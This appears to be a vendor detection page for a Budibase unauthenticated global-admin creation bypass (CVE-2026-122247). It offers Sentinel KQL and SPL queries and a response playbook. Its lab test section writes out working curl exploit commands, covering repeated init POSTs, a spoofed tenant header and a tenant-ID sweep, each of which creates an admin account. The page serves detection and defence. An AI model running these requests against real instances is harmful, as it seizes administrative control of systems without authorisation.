Skip to content
CVE-2026-122247 Microsoft Sentinel · KQL

Detect Budibase Unauthenticated Global-Admin Creation via Tenant-Confusion Init Bypass (CVE-2026-122247) in Microsoft Sentinel

Detects exploitation of CVE-2026-122247, an access-control bypass in Budibase (@budibase/server <= 3.38.1) where the one-time initialization guard on POST /api/global/users/init can be bypassed via tenant confusion. An unauthenticated attacker can supply a crafted/alternate tenant context so the 'already-initialized' check is evaluated against a different tenant than the one being provisioned, letting them create a new global-admin account and backing tenant database even after the instance has already been set up. Detection focuses on requests to /api/global/users/init that succeed (2xx) after initial deployment, repeated or multi-tenant init attempts, and anomalous admin-user or tenant-database creation that follows.

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation Persistence

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-8aafe8df21 · https://df00tech.com/detections/CVE-2026-122247 · licence: https://df00tech.com/detections/licence
let initWindowStart = ago(1d);
let knownSetupWindow = 2h;
let firstSeen = toscalar(
    W3CIISLog
    | where csUriStem has "/api/global/users/init"
    | summarize min(TimeGenerated)
);
W3CIISLog
| where TimeGenerated > initWindowStart
| where csUriStem has "/api/global/users/init"
| where csMethod == "POST"
| where scStatus in ("200", "201", "204")
| extend minutesSinceFirst = datetime_diff('minute', TimeGenerated, firstSeen)
| where minutesSinceFirst > (knownSetupWindow / 1m)
| project TimeGenerated, cIP, csUriStem, scStatus, csUserAgent, csHost, csUriQuery
| order by TimeGenerated desc
high severity medium confidence

Flags successful POST requests to /api/global/users/init occurring well after the expected one-time setup window, the init endpoint should only succeed once on a fresh deployment. Repeated success indicates the tenant-confusion guard bypass.

Data Sources

IIS/Reverse-proxy web logsBudibase application logs

Required Tables

W3CIISLog

False Positives & Tuning

  • Legitimate first-time initialization of a freshly deployed Budibase instance
  • Administrator re-provisioning a new tenant in a multi-tenant Budibase deployment where init is expected per-tenant
  • Infrastructure/health-check probes that hit the endpoint but receive non-2xx responses (filtered by status)

Other platforms for CVE-2026-122247


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Repeated init request against already-initialized Budibase (lab)

    Expected signal: Web/proxy log entry for POST /api/global/users/init with the attacker tenantId and a 2xx/4xx status code.

  2. Test 2 Tenant-confusion init via mismatched Host/tenant header (lab)

    Expected signal: Proxy log showing POST /api/global/users/init with a Host/tenant header differing from the primary tenant.

  3. Test 3 Automated multi-tenant init sweep (lab)

    Expected signal: Multiple proxy log entries for POST /api/global/users/init with distinct tenant identifiers from one source IP in a short window.


Response Playbook

Triage

  1. Confirm the targeted Budibase instance version is <= 3.38.1 (vulnerable) and whether it is exposed to untrusted networks.
  2. Determine whether the instance had already completed first-time initialization before the flagged POST /api/global/users/init, any successful init after initial setup is highly suspicious.
  3. Inspect the request body and tenant context (Host header, x-budibase-tenant-id / tenant query params) of the flagged init call to identify tenant-confusion indicators (mismatched tenant vs. target).
  4. Review global_db / _users database for admin accounts created at or just after the flagged request timestamp, and correlate source IP and user-agent with other activity.

Containment

  1. Block the offending source IP(s) at the reverse proxy/WAF and restrict /api/global/users/init to trusted admin networks or disable external exposure.
  2. Disable or delete any unauthorized global-admin accounts and newly created rogue tenant databases, and force credential rotation for legitimate admins.
  3. Upgrade @budibase/server to v3.50.0 or v4.0.0 (which contain commit 362a7fe fixing the guard) as the durable fix.

Evidence Collection

  1. Preserve reverse-proxy and Budibase application logs covering the flagged init request, including full headers, body length, tenant identifiers, and response code.
  2. Export the CouchDB global_db/_users documents and tenant database list with creation timestamps and _rev history to document unauthorized objects.

Escalation Criteria

  • !Escalate to incident response if a successful (2xx) init occurs after the instance's initial setup, or if an unexpected global-admin account is confirmed.
  • !Escalate if the rogue admin account shows subsequent authenticated activity (app creation, datasource access, user management) indicating hands-on-keyboard post-exploitation.

Investigation Guide

Forensic Artifacts

  • >Reverse-proxy/web access log entries for POST /api/global/users/init with 2xx status post-deployment
  • >CouchDB global_db / _users documents for admin accounts with anomalous creation timestamps
  • >Newly created tenant databases and their creation metadata in the CouchDB datastore
  • >Budibase application logs showing tenant-context mismatches during init

Tuning Guidance

Baseline the expected one-time init window immediately after each new Budibase deployment and allowlist that source/time. In sanctioned multi-tenant deployments, allowlist the admin provisioning hosts/IPs and expected tenant identifiers so legitimate per-tenant init does not alarm. Filter non-2xx responses to cut scanner noise, and prioritize alerts where a successful init follows an already-initialized instance.


Hunting Queries

Hunts for repeated init requests from the same source or across multiple Host/tenant values, a hallmark of the tenant-confusion bypass attempt.

Hunting — KQL
kql
// df00tech DF00-8aafe8df21 · https://df00tech.com/detections/CVE-2026-122247 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "/api/global/users/init" | summarize count(), make_set(scStatus), min(TimeGenerated), max(TimeGenerated) by cIP, csHost | where count_ > 1
Hunting — SPL
spl
``` df00tech DF00-8aafe8df21 · https://df00tech.com/detections/CVE-2026-122247 · licence: https://df00tech.com/detections/licence ```
index=web sourcetype="budibase:access" uri_path="/api/global/users/init" | stats count values(status) as statuses min(_time) as first max(_time) as last by src_ip host | where count>1

Atomic Red Team Tests

Test 1 Repeated init request against already-initialized Budibase (lab)
linux

Sends a second POST to /api/global/users/init after the instance is already set up to simulate the bypass attempt.

Command

bash
curl -sk -X POST 'http://budibase.lab.local/api/global/users/init' -H 'Content-Type: application/json' -d '{"email":"[email protected]","password":"P@ssw0rd123!","tenantId":"attacker"}' -o /dev/null -w '%{http_code}\n'

Cleanup

bash
curl -sk -X DELETE 'http://budibase.lab.local/api/global/users/[email protected]' -H 'x-budibase-api-key: $LAB_ADMIN_KEY' || true

Expected Telemetry

Web/proxy log entry for POST /api/global/users/init with the attacker tenantId and a 2xx/4xx status code.

Expected Detection

KQL/SPL rule fires on the POST to /api/global/users/init occurring after the initial setup window.

Test 2 Tenant-confusion init via mismatched Host/tenant header (lab)
linux

Supplies an alternate tenant context via header to exercise the guard-bypass code path.

Command

bash
curl -sk -X POST 'http://budibase.lab.local/api/global/users/init' -H 'Host: other-tenant.lab.local' -H 'x-budibase-tenant-id: other-tenant' -H 'Content-Type: application/json' -d '{"email":"[email protected]","password":"P@ssw0rd123!"}' -o /dev/null -w '%{http_code}\n'

Cleanup

bash
echo 'Remove other-tenant.lab.local [email protected] and tenant DB via Budibase admin console'

Expected Telemetry

Proxy log showing POST /api/global/users/init with a Host/tenant header differing from the primary tenant.

Expected Detection

Hunting query flags multiple Host/tenant values hitting the init endpoint from one source.

Test 3 Automated multi-tenant init sweep (lab)
linux

Iterates several tenant identifiers against the init endpoint to simulate enumeration of the tenant-confusion bypass.

Command

bash
for t in t1 t2 t3; do curl -sk -X POST "http://budibase.lab.local/api/global/users/init" -H "x-budibase-tenant-id: $t" -H 'Content-Type: application/json' -d "{\"email\":\"[email protected]\",\"password\":\"P@ssw0rd123!\"}" -o /dev/null -w "$t %{http_code}\n"; done

Cleanup

bash
echo 'Delete lab tenants t1 t2 t3 and their admin users from the Budibase datastore'

Expected Telemetry

Multiple proxy log entries for POST /api/global/users/init with distinct tenant identifiers from one source IP in a short window.

Expected Detection

Rule and hunting query detect burst of init POSTs across multiple tenants from a single source.

Related Detections